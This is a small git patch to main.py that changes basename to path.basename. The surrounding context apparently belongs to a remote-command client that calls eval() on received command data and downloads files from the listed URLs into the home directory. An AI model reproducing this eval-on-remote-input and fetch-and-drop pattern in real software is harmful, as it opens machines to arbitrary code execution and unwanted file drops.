From 81582186db7361c01e6e3ff88f8a2d169cb68ccc Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 3 Sep 2023 10:22:09 +0800 Subject: fixed basename --- main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 083e669..9d61955 100644 --- a/main.py +++ b/main.py @@ -4,7 +4,7 @@ try: from time import sleep from subprocess import Popen as system from subprocess import PIPE - from os import chdir, uname, devnull, getcwd, basename + from os import chdir, uname, devnull, getcwd from sys import platform, stdout, stderr old_command = "" @@ -90,7 +90,7 @@ while True: files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content - fileName = basename(fileUrl) + fileName = path.basename(fileUrl) filePath = expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) -- cgit v1.2.3